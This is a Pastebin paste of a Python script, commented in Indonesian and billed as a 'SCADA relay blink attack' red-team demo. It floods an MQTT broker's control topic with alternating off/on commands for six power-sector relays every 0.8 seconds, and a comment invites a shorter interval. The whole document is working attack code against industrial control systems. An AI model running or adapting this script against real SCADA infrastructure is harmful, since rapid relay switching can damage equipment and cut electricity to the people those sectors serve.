cyberking

blink_attack.py

Jun 22nd, 2026
7,377
1
Never
9
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.98 KB | None | 1 0
  1. #!/usr/bin/env python3
  2.  
  3. import time
  4. import sys
  5. import paho.mqtt.publish as publish
  6.  
  7. BROKER   = '192.168.1.61'
  8. PORT     = 1883
  9. TOPIC    = 'pln/scada/kontrol'
  10. INTERVAL = 0.8   # detik antar perintah (turunkan untuk lebih cepat)
  11.  
  12. RELAY_COMMANDS = [
  13.     ('mati_sector_a1',  'nyala_sector_a1'),
  14.     ('mati_sector_a2',  'nyala_sector_a2'),
  15.     ('mati_sector_b1',  'nyala_sector_b1'),
  16.     ('mati_sector_b2',  'nyala_sector_b2'),
  17.     ('mati_sector_c1',  'nyala_sector_c1'),
  18.     ('mati_sector_c2',  'nyala_sector_c2'),
  19. ]
  20.  
  21. RED    = '\033[91m'
  22. GREEN  = '\033[92m'
  23. YELLOW = '\033[93m'
  24. CYAN   = '\033[96m'
  25. BOLD   = '\033[1m'
  26. RESET  = '\033[0m'
  27.  
  28. def send(cmd: str) -> None:
  29.     publish.single(TOPIC, payload=cmd, hostname=BROKER, port=PORT, qos=1)
  30.  
  31. def banner() -> None:
  32.     print(f"""
  33. {RED}{BOLD}╔══════════════════════════════════════════════════╗
  34. ║      SCADA RELAY BLINK ATTACK — RED TEAM DEMO    ║
  35. ║  Broker : {BROKER}:{PORT:<24}  ║
  36. ║  Topic  : {TOPIC:<38}  ║
  37. ╚══════════════════════════════════════════════════╝{RESET}
  38. {YELLOW}Tekan Ctrl+C untuk berhenti dan pulihkan semua relay.{RESET}
  39. """)
  40.  
  41. def blink_loop() -> None:
  42.     cycle = 0
  43.     phase = False  # False = mati, True = nyala
  44.  
  45.     while True:
  46.         cycle += 1
  47.         label = f"{GREEN}NYALA{RESET}" if phase else f"{RED}MATI {RESET}"
  48.         print(f"{CYAN}[Siklus {cycle:04d}]{RESET} Mengirim {BOLD}{label}{RESET} ke semua relay...", end='  ', flush=True)
  49.  
  50.         # Kirim ke semua sub-blok satu per satu dengan jeda kecil
  51.         sent = 0
  52.         for mati_cmd, nyala_cmd in RELAY_COMMANDS:
  53.             cmd = nyala_cmd if phase else mati_cmd
  54.             try:
  55.                 send(cmd)
  56.                 sent += 1
  57.             except Exception as e:
  58.                 print(f"\n{RED}[ERR] {cmd}: {e}{RESET}")
  59.  
  60.         print(f"✓ {sent}/{len(RELAY_COMMANDS)} relay", flush=True)
  61.         phase = not phase
  62.         time.sleep(INTERVAL)
  63.  
  64. def restore_all() -> None:
  65.     print(f"\n{YELLOW}[*] Memulihkan semua relay (pemulihan_total)...{RESET}")
  66.     try:
  67.         send('pemulihan_total')
  68.         print(f"{GREEN}[✓] Semua relay kembali NYALA.{RESET}")
  69.     except Exception as e:
  70.         print(f"{RED}[ERR] Gagal memulihkan: {e}{RESET}")
  71.  
  72. if __name__ == '__main__':
  73.     banner()
  74.  
  75.     # Test koneksi awal
  76.     print(f"[*] Menghubungkan ke broker {BROKER}:{PORT}...")
  77.     try:
  78.         send('pemulihan_total')
  79.         print(f"{GREEN}[✓] Koneksi berhasil. Memulai serangan blink...{RESET}\n")
  80.     except Exception as e:
  81.         print(f"{RED}[✗] Gagal terhubung ke broker: {e}{RESET}")
  82.         print(f"    Pastikan broker MQTT aktif di {BROKER}:{PORT}")
  83.         sys.exit(1)
  84.  
  85.     try:
  86.         blink_loop()
  87.     except KeyboardInterrupt:
  88.         restore_all()
  89.         print(f"\n{CYAN}[*] Selesai.{RESET}\n")
  90.  
Advertisement